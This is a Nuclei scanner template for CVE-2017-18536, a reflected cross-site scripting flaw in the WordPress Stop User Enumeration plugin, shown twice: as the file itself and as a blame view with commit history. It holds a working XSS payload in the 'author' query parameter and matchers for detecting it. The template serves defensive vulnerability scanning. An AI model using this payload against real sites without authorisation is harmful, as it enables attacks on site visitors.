nuclei-templates/http/cves/2017/CVE-2017-18536.yaml

id: CVE-2017-18536

info:
  name: WordPress Stop User Enumeration <=1.3.7 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress Stop User Enumeration 1.3.7 and earlier are vulnerable to unauthenticated reflected cross-site scripting.
  impact: |
    This vulnerability allows remote attackers to execute arbitrary script or HTML code in the context of the victim's browser, potentially leading to session hijacking, phishing attacks, or defacement of the affected website.
  remediation: |
    Update to the latest version of the WordPress Stop User Enumeration plugin or apply the provided patch to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/956cc5fd-af06-43ac-aa85-46b468c73501
    - https://wordpress.org/plugins/stop-user-enumeration/#developers
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18536
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18536
    cwe-id: CWE-79
    epss-score: 0.00088
    epss-percentile: 0.3753
    cpe: cpe:2.3:a:fullworks:stop_user_enumeration:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: fullworks
    product: stop_user_enumeration
    framework: wordpress
  tags: cve2017,cve,wpscan,wordpress,xss,wp-plugin,fullworks

http:
  - method: GET
    path:
      - "{{BaseURL}}/?author=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "forbidden - number in author"
          - "</script><script>alert(document.domain)</script>"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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Create CVE-2017-18536.yaml 2021-07-16 04:20:28 +00:00			`id: CVE-2017-18536`

			`info:`
Dashboard Content Enhancements (#5164) Dashboard Content Enhancements 2022-08-19 20:44:38 +00:00			`name: WordPress Stop User Enumeration <=1.3.7 - Cross-Site Scripting`
Create CVE-2017-18536.yaml 2021-07-16 04:20:28 +00:00			`author: daffainfo`
			`severity: medium`
Dashboard Content Enhancements (#5164) Dashboard Content Enhancements 2022-08-19 20:44:38 +00:00			`description: WordPress Stop User Enumeration 1.3.7 and earlier are vulnerable to unauthenticated reflected cross-site scripting.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`This vulnerability allows remote attackers to execute arbitrary script or HTML code in the context of the victim's browser, potentially leading to session hijacking, phishing attacks, or defacement of the affected website.`
updated other CVEs 2023-09-06 13:22:34 +00:00			`remediation: \|`
update matcher to be more specific + remediation slightly altered 2024-06-19 16:36:43 +00:00			`Update to the latest version of the WordPress Stop User Enumeration plugin or apply the provided patch to fix the vulnerability.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://wpscan.com/vulnerability/956cc5fd-af06-43ac-aa85-46b468c73501`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`- https://wordpress.org/plugins/stop-user-enumeration/#developers`
Dashboard Content Enhancements (#5164) Dashboard Content Enhancements 2022-08-19 20:44:38 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2017-18536`
TemplateMan Update [Mon Jan 29 17:11:13 UTC 2024] :robot: 2024-01-29 17:11:14 +00:00			`- https://github.com/ARPSyndicate/kenzer-templates`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 6.1`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2017-18536`
			`cwe-id: CWE-79`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`epss-score: 0.00088`
product/queries updated 2024-05-31 19:23:20 +00:00			`epss-percentile: 0.3753`
updated other CVEs 2023-09-06 13:22:34 +00:00			`cpe: cpe:2.3:a:fullworks:stop_user_enumeration::::::wordpress::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: fullworks`
			`product: stop_user_enumeration`
updated other CVEs 2023-09-06 13:22:34 +00:00			`framework: wordpress`
auto tagging via templateman 2024-01-14 09:21:50 +00:00			`tags: cve2017,cve,wpscan,wordpress,xss,wp-plugin,fullworks`
Create CVE-2017-18536.yaml 2021-07-16 04:20:28 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2017-18536.yaml 2021-07-16 04:20:28 +00:00			`- method: GET`
			`path:`
Update CVE-2017-18536.yaml 2021-07-19 05:59:58 +00:00			`- "{{BaseURL}}/?author=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"`
Create CVE-2017-18536.yaml 2021-07-16 04:20:28 +00:00
			`matchers-condition: and`
			`matchers:`
Fix CVE-2017-18536 False Positives 2024-06-19 16:25:06 +00:00			`- type: word`
			`part: body`
			`words:`
merge body matchers in one 2024-06-20 04:44:56 +00:00			`- "forbidden - number in author"`
Update CVE-2017-18536.yaml 2021-07-19 05:59:58 +00:00			`- "</script><script>alert(document.domain)</script>"`
merge body matchers in one 2024-06-20 04:44:56 +00:00			`condition: and`
Create CVE-2017-18536.yaml 2021-07-16 04:20:28 +00:00
			`- type: word`
			`part: header`
			`words:`
			`- text/html`

			`- type: status`
			`status:`
			`- 200`
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